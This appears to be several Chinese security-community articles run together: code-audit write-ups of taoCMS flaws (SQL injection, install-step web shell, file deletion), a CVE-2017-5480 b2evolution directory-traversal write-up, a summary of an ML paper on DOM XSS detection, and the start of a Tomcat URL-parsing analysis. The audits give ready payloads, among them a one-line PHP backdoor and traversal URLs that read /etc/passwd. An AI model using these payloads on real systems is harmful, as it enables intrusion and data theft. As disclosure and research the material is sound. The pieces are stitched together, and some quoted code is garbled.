根据语句：$tagdata=$this->db->getlist(TB."relations","name='".$tag."'","id,counts",1);可以知道是字符型注入，需要闭合单引号。
payload：test'+or+sleep(2)%23
这个位置也有另一个注入点。
## 7.install处getshell
判断是否有POST传入db_name，如果有的话就会赋值给$db_name参数，如果没有就会赋值默认的值，跟进
可以看到这里先调用file_get_contents读取了配置文件当中的内容，接着调用了str_replace将默认值替换成了POST中传入的参数值，这里其实三个参数都能够写入shell文件，这里对db_name进行写入shell。
db_name=|127.0.0.1:3306|root|123456|taocms|');assert($_REQUEST['cmd']);//
## 8.任意文件删除
根据poc对代码进行分析
?action=file&ctrl=del&path=filepath
先会调用Base类中的catauth方法对$action参数进行判断，之后会判断是否存在相应的类，如果存在的话就实例化该类并赋值给$model，并且会判断$ctrl方法是否存在于$action类中，存在的话就会调用类中无参方法
include/Model/Base.php#119,通过调试发现$_SESSION[TB.'admin_level']=admin，所以返回值为true恒成立，所以上面的代码逻辑会接着往下走
传入的$action=file,定位到类文件include/Model/File.php
根据File类的构造方法，以及前面传入的参数，$id是可控的，但是没有赋值默认为0，$table即是$action=file,接着这里会对指定文件的真实路径进行拼接，这里的SYS_ROOT就是整个项目的绝对磁盘路径。
这里会对指定绝对路径要删除的文件的全选进行判断，并且如果是文件夹的话会遍历文件夹并判断文件夹是否为空，之后就会直接进行删除的操作，加上目录穿越就可以进行任意文件删除了。
## 9.sql注入
根据poc对源代码进行分析漏洞原理。
poc
?name=-1%"+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()%23&cat=0&status=&action=cms&ctrl=lists&submit=%E6%9F%A5%E8%AF%A2
根据poc来进行分析
include\Model\Cms.php#112
name,cat,status三个参数都由GET传入，都可控，直接来看调用的DB类中的getlist方法
include/Db/Mysql.php#60
调用的方法除了前三个参数是由前面调用时传入的参数覆盖的，其他两个参数为默认值，调试输出了最后的sql查询语句
select count(*) from cms_cms where 1=1 and name like "%-1%" union select
group_concat(table_name) from information_schema.tables where
table_schema=database()#%" ORDER BY id DESC limit 20
这里sql执行完之后会调用Base类中的magic2word方法，对结果是否为数组进行判断，如果是数组就会存入新的数组并且返回赋值给$datas数组，打印该数组可以发现注入的语句已经成功执行并返回了结果
# REF
<https://forum.butian.net/share/992>
<http://anyun.org/a/anquanjuhe/Seayxinxianquanboke/2017/0213/8445.html>
<https://xz.aliyun.com/t/11063> | 社区文章 |
## 0x00前言
[CVE-2017-5480](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5480)，b2evolution小于或等于存在6.8.3版本存在目录遍历漏洞导致删除、读取任意文件。
## 0x01代码审计
### 1.安装
程序下载地址：[6.8.3-stable](http://b2evolution.net/downloads/6-8-3)
### 2.漏洞分析
具有后台访问权限的用户管理文件时，发出请求URL(以dave请求自己头像为例)：
http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=dave.jpg&fm_sources_root=user_4
函数admin.php中部分源码：
require $inc_path.$ctrl_mappings[$ctrl];
请求文件为：/b2evolution/inc/files/files.ctrl.php
文件files.ctrl.php的部分源码
if( ($edited_User = & $UserCache->get_by_ID( $user_ID, false )) === false )
{ // We could not find the contact to link:
$Messages->add( sprintf( T_('Requested «%s» object does not exist any longer.'), T_('User') ), 'error' );
unset( $edited_User );
forget_param( 'user_ID' );
unset( $user_ID );
}
可知 **至少需要具有文件编辑（editer）权限的用户才能成功利用**
1. files.ctrl.php中的任意文件删除漏洞代码：
if( $confirmed )
{ // Delete files, It is possible only file has no links:
$selected_Filelist->load_meta();
while( $l_File = & $selected_Filelist->get_next() )
{
// Check if there are delete restrictions on this file:
$restriction_Messages = $l_File->check_relations( 'delete_restrictions', array(), true );
if( $restriction_Messages->count() )
{ // There are restrictions:
$Messages->add_to_group( $l_File->get_prefixed_name().': '.T_('cannot be deleted because of the following relations')
.$restriction_Messages->display( NULL, NULL, false, false ), 'warning', T_('Deleting files...') );
// Skip this file
continue;
}
if( $l_File->unlink() )
{
$Messages->add_to_group( sprintf( ( $l_File->is_dir() ? T_('The directory «%s» has been deleted.')
: T_('The file «%s» has been deleted.') ), $l_File->dget('name') ), 'success', T_('Deleting files...') );
$fm_Filelist->remove( $l_File );
}
else
{
$Messages->add_to_group( sprintf( ( $l_File->is_dir() ? T_('Could not delete the directory «%s» (not empty?).')
: T_('Could not delete the file «%s».') ), $l_File->dget('name') ), 'error', T_('Deleting files...') );
}
}
$action = 'list';
$redirect_to = param( 'redirect_to', 'url', NULL );
// Redirect so that a reload doesn't write to the DB twice:
header_redirect( empty( $redirect_to ) ? regenerate_url( '', '', '', '&' ) : $redirect_to, 303 ); // Will EXIT
// We have EXITed already at this point!!
}
else
{
// make sure we have loaded metas for all files in selection!
$selected_Filelist->load_meta();
$index = 0;
// Check if there are delete restrictions on the files:
while( $l_File = & $selected_Filelist->get_next() )
{
// Check if there are delete restrictions on this file:
$restriction_Messages = $l_File->check_relations( 'delete_restrictions', array(), true );
if( $restriction_Messages->count() )
{ // There are restrictions:
$Messages->add( $l_File->get_prefixed_name().': '.T_('cannot be deleted because of the following relations')
.$restriction_Messages->display( NULL, NULL, false, false ) );
// remove it from the list of selected files (that will be offered to delete):
$selected_Filelist->remove( $l_File );
unset( $fm_selected[$index] );
}
$index++;
}
if( ! $selected_Filelist->count() )
{ // no files left in list, cancel action
$action = 'list';
// Redirect so that a reload doesn't write to the DB twice:
header_redirect( regenerate_url( '', '', '', '&' ), 303 ); // Will EXIT
// We have EXITed already at this point!!
}
}
break;
任意文件删除漏洞代码利用Payload:
http://127.0.0.1/b2evolution/admin.php?blog=6&ctrl=files&root=collection_6&fm_hide_dirtree=-1&action=delete&fm_selected[]=../../../../../../.././../../../../../../../../../../../../../../../../../../../../../../../../test.txt&crumb_file=FXTab96veYnFmNDbfHfVJ3BxCHq7NNs1
1. files.ctrl.php中的任意文件读取漏洞代码：
case 'copy':
……
$allow_locked_filetypes = $current_User->check_perm( 'files', 'all' );
……
// Copy file
$old_path = $loop_src_File->get_rdfp_rel_path();
$new_path = $selected_Filelist->get_rds_list_path().$new_names[$loop_src_File->get_md5_ID()];
if( $old_path == $new_path && $loop_src_File->_FileRoot->ID == $selected_Filelist->_FileRoot->ID )
{ // File path has not changed...
$Messages->add_to_group( sprintf( T_('«%s» has not been copied'), $old_path ), 'note', T_('Copying files:') );
continue;
}
// Get a pointer on dest file
$dest_File = & $FileCache->get_by_root_and_path( $selected_Filelist->get_root_type(), $selected_Filelist->get_root_ID(), $new_path );
// Perform copy:
if( ! $loop_src_File->copy_to( $dest_File ) )
{ // failed
$Messages->add_to_group( sprintf( T_('«%s» could not be copied to «%s»'), $old_path, $new_path ), 'error''Copying files:') );
continue;
}
$success_message = sprintf( T_('«%s» has been successfully copied to «%s»'), $old_path, $new_path );
$success_title = T_('Copying files:');
break;
任意文件读取漏洞代码利用Payload:
http://127.0.0.1/b2evolution/admin.php?blog=6&ctrl=files&root=collection_6&fm_hide_dirtree=-1&action=file_copy&fm_selected[]=../../../../../../../../../../../../../../../../../../etc/passwd&fm_sources_root=collection_6
files.ctrl.php中重命名时文件扩展名限制代码：
if( $check_error = check_rename( $new_names[$loop_src_File->get_md5_ID()], $loop_src_File->is_dir(), $loop_src_File->get_dir()allow_locked_filetypes ) )
{
$confirmed = 0;
param_error( 'new_names['.$loop_src_File->get_md5_ID().']', $check_error );
continue;
}
从源码 **由于文件扩展名限制，修改copy的文件名为*.txt才能copy成功任意文件，从而读取内容** 。
Tips:
* 文件编辑（editer）权限的用户才能成功利用
* 读文件时注意重命名文件为*.txt
## 0x02后记
黑盒测试+代码审计，最终成功提交第一个CVE漏洞，来张图记录一下过程 | 社区文章 |
Towards a Lightweight, Hybrid Approach for Detecting DOM XSS Vulnerabilities
with Machine Learning
原文发表于WWW’21：<https://users.ece.cmu.edu/~lbauer/papers/2021/www2021-dom-xss-dnn.pdf>
## 摘要
Web 应用程序中的客户端跨站点脚本 (DOM XSS) 漏洞很常见，难以识别且难以预防。污点跟踪是检测 DOM XSS
的最有前途的方法，具有高精度和召回率，但对于许多实际用途来说计算成本太高。
本文研究了机器学习 (ML) 分类器在检测 DOM XSS 漏洞能力时是否可以替代或增强污点跟踪。通过大规模的网络爬虫，本文收集了超过 180 亿个
JavaScript 函数，并使用污点跟踪将超过 180,000 个函数标记为潜在易受攻击的函数。有了这些数据，本研究训练了一个深度神经网络 (DNN)
来分析 JavaScript 函数并预测它是否容易受到 DOM XSS
的攻击（<https://kilthub.cmu.edu/articles/dataset/DOM_XSS_Web_Vulnerability_Dataset/13870256>
）。本研究试验了一系列超参数，并提出了一个低延迟、高召回率的分类器，可以作为污点跟踪的预过滤器，将独立污点跟踪的成本降低 3.43 倍，同时检测 94.5%
的独特漏洞。认为 DNN 和污点跟踪的这种组合对于污点跟踪本身并不适用的一系列样本来说足够有效，包括浏览器运行时 DOM XSS 检测和分析大型代码库。
## 0x01 Introduction
未能正确清理其输入的 Web 应用程序可能容易受到跨站点脚本 (XSS) 漏洞的攻击，这些漏洞正变得越来越普遍。一种特定类型的 XSS 漏洞，客户端 XSS
(DOM XSS)是由网站 JavaScript 代码中的错误引起的；它们的流行度随着客户端代码复杂性的增加而上升。近年来，eBay、雅虎、IBM 和
Facebook 等知名组织都报告了 DOM XSS 漏洞 。
DOM XSS 漏洞可以通过使用签名和启发式过滤掉内容来防止，但现代攻击策略可以规避这种防御。其他防御措施使用静态或动态分析检测 DOM XSS
漏洞。原则上，静态分析可以在代码注入漏洞被利用甚至发布之前检测到它们。然而，静态分析工具难以推理
JavaScript的动态特性，具有高错误率，或者可能无法扩展到大型代码库，这使得它们作为 DOM XSS 防御不切实际。
相比之下，动态分析——特别是污点跟踪——已经显示出检测 DOM XSS 漏洞的希望。在动态污点跟踪方法中，分析代码以在执行时检测 DOM XSS
漏洞。这增加了大量开销（页面加载时间增加了 16.8%），表明这种方法不太可能在许多设置中采用，例如作为浏览器内的防御。
利用观察到许多 DOM XSS 漏洞在语法上相似且复杂性较低，本文提出了一种替代方法，该方法使用机器学习 (ML) 来大大减少动态污点跟踪带来的开销，以检测
DOM XSS 漏洞。还研究了用现有分析组合机器学习的可行性。具体来说解决了两个主要的研究问题：
**RQ1：ML 是否可以作为污点跟踪的预过滤器来检测 DOM XSS 漏洞，同时保持高召回率，并且开销远低于单独污点跟踪？**
**RQ2：ML 是否可以单独用于检测 DOM XSS 漏洞，其召回率和精确度可与其他技术相媲美或优于其他技术？**
为了训练和评估这些 ML 分类器，首先获得足够数量的真实数据。本文使用启用了开源污点跟踪的 Web 浏览器，分两步收集 DOM XSS 易受攻击的
JavaScript 函数的状态（见下图）。首先使用污点跟踪来识别使用看似未经处理的参数调用危险接收器（例如 document.write）的
JavaScript
函数。污点跟踪本身无法确认这些函数是可利用的，因此将这些函数标记为未确认的漏洞（数据集1）。为了将这组函数修剪为仅可利用的函数，使用启发式方法来执行概念验证利用，并将可利用的函数标记为已确认的漏洞（数据集2）。
本文在未经确认的漏洞上训练的分类器可用作基于污点跟踪的 DOM XSS 检测 (RQ1) 的预过滤器，将 97.5% 的独特函数分类为非脆弱性，同时保持
94.5% 的独特漏洞召回率。在此配置中，污点跟踪仅用于其余 2.5% 的函数，与单独的污点跟踪相比，漏洞检测开销降低了 3.43 倍。
或者，在已确认漏洞上训练的分类器可用作判断 JavaScript 函数是否容易受到 DOM XSS 攻击 (RQ2) 的唯一手段，并以 57.8%
的精度捕获 50% 的已确认漏洞。总的来说还没有找到一种调优，可以提供高召回率和高精度的组合，足以让这种分类器成为检测 DOM XSS 漏洞的唯一方法。
在探索分类器设计空间以回答这些研究问题时，试验了两种模型类型（线性模型和深度神经网络
(DNN)）；源代码的多种表示（基于脚本、函数或语义距离）；各种模型架构（嵌入大小和 DNN
层大小）；并调整训练机制以补偿不平衡的基本事实（即，在野非漏洞函数的数量远远超过漏洞函数）。
## 0x02 Background
### A.DOM XSS 漏洞
跨站点脚本 (XSS) 漏洞在输入被正确清理时发生，允许攻击者将任意 JavaScript
代码注入受害者的浏览器。攻击者可以通过重定向到恶意网站来窃取私人信息或危害受害者的机器。
这项工作关注由客户端对浏览器文档对象模型 (DOM) 的操作导致的客户端漏洞。攻击者可以将漏洞注入到诸如 document.location
对象（URL）、网页引用或 postMessage API 之类的源中。当来自这些攻击者可控来源的信息用于敏感的代码执行函数（称为接收器）时，可能存在
XSS 漏洞。此类接收器的示例包括：DOM 节点的 innerHTML 属性、eval方法或 javascript: URL。
从源到接收器的可利用流并不一定意味着存在漏洞，因为程序员可能会在使用敏感接收器之前对信息进行消毒。常见的清理方法包括内置浏览器 API，例如
encodeURI 和 encodeURIComponent 或手动检查用户输入是否与安全正则表达式（例如字母数字字符）匹配。
在本文工作中，训练了一个基于源代码预测 DOM XSS
漏洞的模型。训练单独的模型来预测未确认的漏洞（由污点分析标记并需要进一步调查）和已确认的漏洞（通过执行概念验证漏洞确认）。
### B.内容过滤
浏览器和 Web 服务器试图为 DOM XSS 漏洞利用过滤器。内容安全策略 (CSP) 可以限制网站上允许的脚本，但经常以一种不会实质性限制 DOM
XSS 漏洞利用的方式错误配置。已经引入了基于可信类型概念的实验性浏览器 API，但该 API 与遗留应用程序不兼容。 Web
应用程序防火墙过滤器是另一种针对 XSS 漏洞的常见防御措施，但可以通过调整漏洞利用来绕过过滤器检测模式。
客户端过滤器（例如XSS auditor）也被用作防御，但它们也遭受类似的攻击。研究人员检查了一系列已知的 DOM XSS 漏洞能力，并表明在 73%
的情况下，XSS auditor未能过滤攻击。与使用此类启发式相比，本文训练 ML 模型以学习过滤策略并检测 DOM XSS 漏洞。 ML
模型可能会推断出源代码和漏洞之间更深层次的关系，并且攻击者可能更难以绕过。
### C.JavaScript的静态分析
静态分析技术可以通过分析源代码来检测感兴趣的属性，从而了解程序可能采用的所有可能的执行路径。JavaScript 静态分析的几种实现可在商业工具中使用，包括
IBM Security AppScan、Trustwave App Scanner、Coverity 的 JavaScript 扫描器和 Burp
Suite Pro。然而，静态分析 JavaScript
尤其具有挑战性，因为它是一种动态语言，缺乏严格的类型信息。此外，静态分析对于本研究设置来说过于昂贵，因此不考虑在解决方案中使用静态分析。
### D.JavaScript的动态分析
动态分析也常用于
Javascript，但仅对程序执行期间收集的观察进行操作，并没有分析未执行的代码。此外，此类方法会产生运行时开销，并且需要大量工程工作来修改复杂的运行时环境（在示例中为
JavaScript 引擎）。
#### （1）污点跟踪
识别 DOM XSS
漏洞最相关的动态分析是污点跟踪。该技术将来自潜在攻击者控制的来源的数据标记为受污染，并在执行时传播污染信息。当在敏感接收器中使用受污染的字符串时，污点跟踪引擎会将此信息流标记为潜在的
DOM XSS 漏洞；称之为未经证实的漏洞。
**污点跟踪：** 识别 DOM XSS
漏洞最相关的动态分析是污点跟踪。该技术将来自潜在攻击者控制的来源的数据标记为受污染，并在执行时传播污染信息。当在敏感接收器中使用受污染的字符串时，污点跟踪引擎会将此信息流标记为潜在的
DOM XSS 漏洞；称之为未经证实的漏洞。第一个使用污点跟踪来发现 DOM XSS 漏洞的工具是基于 Firefox 的
DOMinator。后来，通过添加字节精确污点跟踪来提高其精度，将污点信息附加到 JavaScript 引擎中的特定字节，减少误报。
虽然污点跟踪可以在运行时有效地防御 DOM XSS 漏洞，但这是以某些基准测试中 7% 到 17% 的开销为代价的
。浏览器供应商对性能开销异常敏感，本文解决方案提供了一个机会，通过使用 ML 在分类器确定代码可能易受攻击时有选择地启用污点跟踪来缓解这种性能下降。
#### （2）确认潜在易受攻击的流量
由于受污染的数据可能会被程序员清理，因此此类流可能不一定是可利用的。研究人员使用启发式方法自动生成漏洞来确认这些漏洞。在之前的工作中，研究人员通过分析受污染字符串周围的上下文来生成漏洞利用，使用预先配置的导致漏洞利用的注入列表或符号分析来确认具有测试注入的流。在本文工作中，利用上述解决方案来生成已确认漏洞的标记实例。
### E.程序分析中的机器学习
有几个项目使用 ML 来分析 JavaScript 中的程序，成功识别出许多恶意
JavaScript例子。然而，这些解决方案依赖于手工设计的特征（例如流的位置、流中涉及的函数数量、流的源和汇）。本文避免使用此类技术，使解决方案可以推广到不同的上下文并适应不断变化的源代码习语。从数据中进行程序分析的构建块也可以通过训练决策树来学习。相比之下，本文工作选择了深度学习，它可以学习复杂数据的潜在表示。
最密切相关的工作是使用深度学习来分析程序中的信息流，以便在C中更有效地进行污点跟踪或漏洞检测。在这些项目中，ML模型必须识别程序中的关键点以进行分析信息流，依赖于C程序的高度静态性。本文工作关注浏览器中的
DOM XSS 漏洞，主要执行动态 JavaScript 代码。这使得很难自信地确定程序的关键点并提取数据依赖关系，因此上述解决方案不适用于本文设置。
#### （1）程序的向量表示
研究人员开发了 code2vec，它通过将起始节点和终止节点与 AST 树的一系列上下运动联系起来，将 AST
转换为用于机器学习的向量。树卷积分析树结构上的 AST
节点信息，其方式类似于卷积神经网络处理其像素上的图像。树卷积基于使用神经网络卷积在靠近它的节点上对每个节点进行分类，并且之前已用于从源代码中检测算法性能错误。
在分析用于程序分析的图形结构数据方面也进行了工作。还探索了一种使用门控图神经网络的方法，该网络最近已被用于对源代码的某些属性进行建模，例如惯用的编码风格。然而通过实验发现这些技术无法准确地模拟
JavaScript 语义。
## 0x03 Data Collection Methodology
本章描述了收集两个真实数据集以训练和评估 ML
分类器的方法。使用启用污点跟踪的浏览器来收集大规模网络爬行中未经证实的漏洞（数据集1），然后将这些未经证实的漏洞的实例标记为已确认的漏洞（数据集2），最后讨论数据收集的属性和局限性。
### A.数据收集
#### （1）污点跟踪浏览器
利用先前工作中修改后的启用污点跟踪的 Chromium 浏览器版本来收集一系列网站执行跟踪，识别可能容易受到 DOM XSS
注入攻击的代码。修改后的浏览器由与服务器端数据库交互的扩展程序驱动，通过 HTTP 交互引导爬取活动并存储受污点流的记录。
浏览器的 V8 引擎和 WebKit 基础设施通过污点跟踪进行了修改，以识别潜在的易受攻击的流。在每个网页的 JavaScript
执行期间，修改后的浏览器存储：所有浏览器执行的源代码的记录、该源代码的解析 V8
表示、所有受污染的接收器执行和其他簿记信息。对于带有污染数据的接收器的每次执行，额外记录：污染参数的值、特定的污染字符、是否应用了任何特定的内置编码方法（例如，escape
或 encodeURI），以及完整的跟踪JavaScript 调用堆栈。
#### （2）爬取方法
总共爬取了 Alexa 前 10,000的网站，并访问了这些网站上的 289,392 个网页。通过访问网站的根网页并在同一域内对 40
个子链接进行采样，总共尝试了 410,000 次网页访问。在爬取过程中，并非所有页面都被加载；遵守了
robots.txt规则，其他网页在爬取过程中没有正确加载。如果单个网页未成功加载，会尽可能尝试加载同一域中的另一个示例网页。在加载网页时，爬虫首先等待页面就绪事件，然后再等待
90 秒以执行页面。凭经验观察到 90 秒足以检测绝大多数污点汇聚点。
由于爬虫是非确定性的，因此汇总了多次执行的结果。使用 GZIP 压缩时，抓取的执行日志文件为
26TB。许多脚本在多次爬取中重复，因此删除了所有重复的源代码，将聚合数据库的压缩大小减少到 382GB。
### B.标记和确认流
接下来，检测哪些脚本包含潜在易受攻击的接收器的受污染参数以及这些接收器的位置。如果流在任何执行中被标记为易受攻击，将在聚合中将其标记为易受攻击。为了在源代码中定位对
sink 函数的特定调用，在执行期间输出函数调用的带注释的堆栈跟踪，其中包含所有已执行 JavaScript 的解析 AST。使用最靠近调用堆栈底部的
JavaScript 堆栈帧的 AST
节点作为漏洞的指示。不在堆栈跟踪中使用其他函数，因为没有关于受污点流源位置的信息，也无法标记此类节点。下图显示了如何转换和标记地面实况数据的概述。
#### （1）发现未经证实的漏洞
为了确定敏感接收器是否应该被标记为未经证实的漏洞，观察应用于受污染数据的编码方法是否与应用污点的上下文相匹配，使用与先前工作类似的逻辑。例如，如果污点跟踪表明document.write函数是使用来自网页
URL 的受污染参数调用的，而没有应用任何编码函数，就会将该流程标记为未经证实的漏洞。但是，如果 encodeURI
函数后来在接收器中使用之前应用于受污染的字节，那么会将函数标记为安全的，因为 encodeURI 函数会清理输入并防止漏洞。根据数据爬取结果，收集了大约
32,000,000 个未经证实的漏洞实例，发生在大约 180,000 个不同的、独特的函数中。
#### （2）确认漏洞
对于剩余的未确认漏洞，通过利用先前工作中的技术生成确认测试注入。结合应用编码函数的知识为每个未确认的漏洞生成概念验证测试注入，并使用测试注入重新执行网页以查看注入是否成功。这一步是必要的，因为开发人员可以在不使用内置编码方法的情况下对流进行临时清理，例如检查受污染的输入是否与数字的正则表达式匹配，这种技术可以消除未经证实的漏洞.在使用概念验证漏洞利用后，收集了大约
4,500,000 个已确认漏洞的实例，发生在 2,300 多个不同的独特函数中。
因此创建了两个用于训练 ML
模型的数据集：（1）基于污点跟踪浏览器输出的未确认漏洞数据集，以及（2）基于已确认漏洞的数据集概念验证测试注入。已确认漏洞集是未确认漏洞的子集；使用这些数据集训练两个单独的分类器并在两者上执行实验。
### C.真实数据集的属性
在收集真实数据后，想了解常用脚本（如 jQuery）对训练和评估的影响程度。如果一小组频繁脚本占数据集的很大一部分，则 ML
模型的性能可能取决于其识别这些频繁脚本的能力。数据集和漏洞分布的总结如下表所示。发现虽然数据集包含一些频繁出现的脚本，但也有明显的长尾独特脚本；数据集包括
23,013,705 个独特脚本的 240,830,867
个观察结果。该数据集明显是片面的：与负标签（非脆弱函数）相比，正标签（漏洞）极为罕见。所有函数中只有 0.17% 是未确认漏洞，所有函数中只有 0.024%
是已确认漏洞。此外在考虑独特脚本时，这些比例甚至更小（0.038% 和 0.0005%）。
### D.限制
本研究的浏览器基础架构基于旧版 Chromium，版本 57（2016 年 8 月的版本）。原则上观察到的漏洞可能不适用于其他浏览器。此版本的
Chromium 处理散列后值的编码与最新版本的 Chromium 不同，这可能会影响未经证实的漏洞是否可利用。但是，较新版本的 Chromium
中的防御机制在其他浏览器中并不普遍，因此依赖较新版本的 Chromium 可能会忽略仍然影响许多浏览器的漏洞。
真实数据也受到用于标记的动态分析的限制。数据仅包含来自实际执行的标记 AST
节点，不能对未执行的代码做出声明。然而，虽然数据集包含误报，但它不包含误报：所有 2,326
个已确认的漏洞都被证明在至少一个生成的概念验证漏洞中容易受到攻击。
如果一个函数的任何实例被标记为易受攻击，那么将该函数的所有实例都标记为易受攻击。但是，利用该漏洞可能需要仅出现在某些网页上的跨函数交互。可以说，将此类函数标记为易受攻击仍然是合适的，因为它们在所有情况下都不是安全的。在任何一种情况下，分析此类跨职能交互都很复杂，超出了这项工作的范围。
## 0x04 Classifier Design
### A.攻击者能力：投毒攻击和逃避攻击
将 ML
用于安全任务可能会使系统面临新的攻击。例如，在投毒攻击中，攻击者将恶意训练数据注入系统，在逃避攻击中，攻击者构建看似良性但逃避检测的输入。就本研究的设计而言，不考虑此类攻击。
尽管攻击者可能会建立一个恶意网站，网络爬虫随后会使用该网站来收集中毒的训练数据，但假设这对于攻击者来说是非常昂贵的（因为爬取 10,000
个最受欢迎的网站）并且训练数据用于训练模型不会被对手投毒。
关于逃避攻击，系统旨在检测意外漏洞（例如，帮助保护对其网站上的 JavaScript
具有控制权的网站开发人员）。如果攻击者能够操纵网站上的代码，则该网站已经被承诺，攻击者无需逃避检测基础设施。攻击者模型假设 JavaScript
代码是良性的，但可能存在漏洞；攻击者向网站提供恶意输入以利用 DOM XSS 漏洞，但不控制系统。
### B.特征提取与数据准备
在能够对源代码片段进行训练和分类之前，必须将这些代码转换为神经网络可以使用的形式。在本节中将描述将标记的 AST 节点转换为用于训练的特征向量的方法。
#### （1）代码分段
给定一块带标签的源代码，选择通过其函数调用来分割代码。对于这项工作中提出的实验，位于单个函数调用中的代码用作训练和分类的单个单元。还尝试基于脚本对代码进行分段，并使用在固定语义距离内包含周围
AST
节点的分段；然而，按函数分割代码为训练模型产生了最好的结果。按整个脚本分段选择过大的代码片段，而固定语义距离策略产生过小的代码片段。在预测漏洞时，这两种表示都会阻止分类器学习有意义的特征。
#### （2）提取特征和代码表示
在标记的源代码被转换成段后，为的 ML 模型提取输入特征。对于此处显示的实验，使用词袋表示：每个函数都由包含在函数调用中的解析 AST
标记的词频字典唯一标识。将所有相关的符号和操作（变量名、操作名、方法名、属性名等）存储在这个字典中。尽管变量和方法名称可能会改变，但相信这种表示在源代码中的微小变化（例如不同的库版本）时是健壮的，因为通常跨版本维护大量的变量名称和函数名称。
还尝试了先前工作中从 C 中提取程序切片的方法，但发现 Javascript
的高度动态性使研究者无法自信地确定切片所需的程序关键点。还对使用基于门控图神经网络
的模型的先前工作进行了实验，但发现这些技术产生的模型不稳定且性能不佳，这也可能是由于 Javascript 的动态性。
#### （3）实验数据设置
将数据集划分为多个子集：80% 的“训练”用于训练模型，10% 的“验证”用于在超参数探索期间评估竞争模型，以及 10%
的“测试”用于测量最终模型的性能。在划分时，按函数源自的脚本进行拆分（对于收集的数据集中的每个脚本，其函数调用有 80% 的机会用于训练，10%
的机会用于测试，10%
的机会用于验证）。执行此拆分是为了评估模型在之前从未见过的完整脚本上的性能，并捕获更真实的设置，在该设置中，模型呈现完整的脚本（然后按函数分段）。
此外，希望根据每个函数在爬行中观察到的频率来增加其重要性。与相对不常见的代码相比，在非常常见的库中定义的函数对于正确分类更重要。为此，在混洗数据之前对训练集中的频繁代码实例进行过采样。这比在训练期间应用权重更可取，因为在实验中，模型在呈现大量超过其他函数的极其常见的函数时不会收敛。如果在训练阶段结束时观察到一个共同的函数，模型就会发生巨大的变化。然而，通过多次重复实例，这些影响会在训练期间得到平滑。
#### （4）平衡误差
使用数据进行训练的另一个问题是标签之间的大量类别不平衡：非易受攻击的函数远多于易受攻击的函数（只有 0.024%
的函数被确认为易受攻击）。因此，在训练期间通过相应地惩罚损失函数为正标签添加了权重。对 1、10、100 和 1,000 的惩罚项进行了试验，发现 100
是最佳的——惩罚越低，分类器永远不会将函数预测为易受攻击的，而惩罚项为 1,000，分类器不会收敛。
#### （5）矢量化特征
使用特征散列来表示稀疏数据，这允许无界词通过散列到特定桶的术语表示为向量。这种技术的缺点是当散列函数发生冲突时它会引入歧义。为了减轻冲突的影响，使用了
2×18
的特征大小，这是平衡内存需求和冲突概率的推荐大小。使用嵌入层将稀疏的词袋编码为密集的向量空间。这种嵌入是模型架构的第一部分，作为第一个隐藏层的输入，也在训练期间进行了优化。
### C.实施
在 TensorFlow中构建模型并使用 Adagrad 优化器训练模型（学习率为 0.05，批量大小为 64）。对于最小的模型，训练时间为每秒 11K
个函数，这意味着使用 64GB 虚拟机和 16GB NVIDIA Tesla P100 GPU 对总数据的 5% 进行训练大约需要 20 小时。
### D.性能指标
对于任何类别不平衡的任务，准确性不是一个有用的度量标准，因为分类器可以通过预测所有函数都不会受到攻击来达到近乎完美的准确性。由于正在评估 ML
模型是否可以与其他技术结合使用，因此在调整准确率和开销之间的权衡时，精度-召回率的权衡更有用。将准确率定义为预测的漏洞确实被标记为漏洞的比例，召回率定义为被正确预测为漏洞的标记漏洞的比例。
由于在常见漏洞上表现良好尤其会影响召回率，因此还考虑了对不同漏洞的表现。将不同召回定义为模型正确识别的不同标记漏洞的比例，而真实召回定义为所有标记漏洞被正确识别的比例。在计算真实召回率时，每个函数都以其真实的观察频率加权；所以真正的召回代表对算法在部署时会遇到的真实数据的召回。
## 0x05 Results
首先，使用验证数据集来调整模型类型和模型大小等参数。然后在测试数据集上评估性能最佳的模型，包括未确认和已确认的漏洞。
在本节中，显示的结果是未确认漏洞的 3 倍平均值，以及已确认漏洞的 5 倍平均值。由于已确认漏洞的数量明显低于未确认漏洞的数量，发现 3
折不足以确认漏洞，因此在这些实验中使用了 5 折。还发现收敛不需要使用整个训练数据集。在训练期间监控模型的性能，并最终决定对于每个折叠，使用 20%
的可用训练数据（总数据集的 16%）就足够了。
### A.模型大小和类型
尝试了不同大小的深度神经网络模型。对于这些实验，报告了 3 层全连接 DNN 的结果。对于每个架构，通常在每一层之后将层大小减半，从而形成层大小为 [N,
N/2, N/4] 的全连接架构，其中 N 是第一个隐藏层的大小。还试验了线性模型，并将它们的性能与 DNN 进行了比较。下图突出显示了ML
架构的不同组件，并显示了评估的各种超参数。
#### （1）嵌入大小
首先在神经网络中尝试了嵌入层的大小，如 Sec. 4.2.5.嵌入层是一个密集的全连接层，它在散列空间（在实现中为
2×18）中转换稀疏标记，并将密集向量输出到第一个 DNN 隐藏层。下图显示了 N=500 的 3 层 DNN 的 64、256 和 1024
的各种嵌入大小，经过训练以预测未确认的漏洞。同样没有发现嵌入层大小之间的显着差异，并为所有未来的实验选择了最小的嵌入大小
64，以最大限度地减少用例中的大小和推理时间。
#### （2）模型大小
通过改变 [N, N/2, N/4] DNN 架构中隐藏层的大小来探索模型大小的影响。对于未确认和已确认的漏洞，训练了 DNN，其中 N =
100、200、500、1000 和 2000。未确认漏洞的结果如下图a 所示，已确认漏洞的结果如下图b
所示。正如预期的那样，预测未确认漏洞的性能明显优于预测已确认漏洞的性能。在这两个实验中，发现模型大小对数据的性能也没有显着影响。由于减小模型大小不会对预测性能产生不利影响，因此选择使用最小的评估模型架构（3
个隐藏层，大小为 100、50 和 25）在进一步的实验中针对已确认和未确认的漏洞。
#### （3）模型大小权衡
在提出的用例中，较小的模型是首选，因为它们的推理时间较短且存储大小较小。在没有任何优化的情况下，选择的模型大小为 65MB。由于大多数模型都小到可以在
12GB GPU 中完全处理，因此推理时间在很大程度上不受模型大小的影响。为了更好地理解模型在其他设置中的开销，还测量了 GPU
硬件上的推理时间，并将结果显示在下表中。对于选择的 N = 100 和嵌入大小为 64 的模型，平均时间在 24GB RAM、4 核 Intel
i5-6400 3.30GHz CPU 和 Titan X Pascal 12GB GPU、17 | 社区文章 |
## 一、前言
tomcat具有某些特性，会对`/;/`、`/./`、`/../`、`/..;/`进行特殊处理，究竟是怎样的机制导致了这些特性，本文通过动态调试tomcat源码来分析url解析过程，解开疑惑
## 二、环境搭建
* jdk 8
* maven 3.6
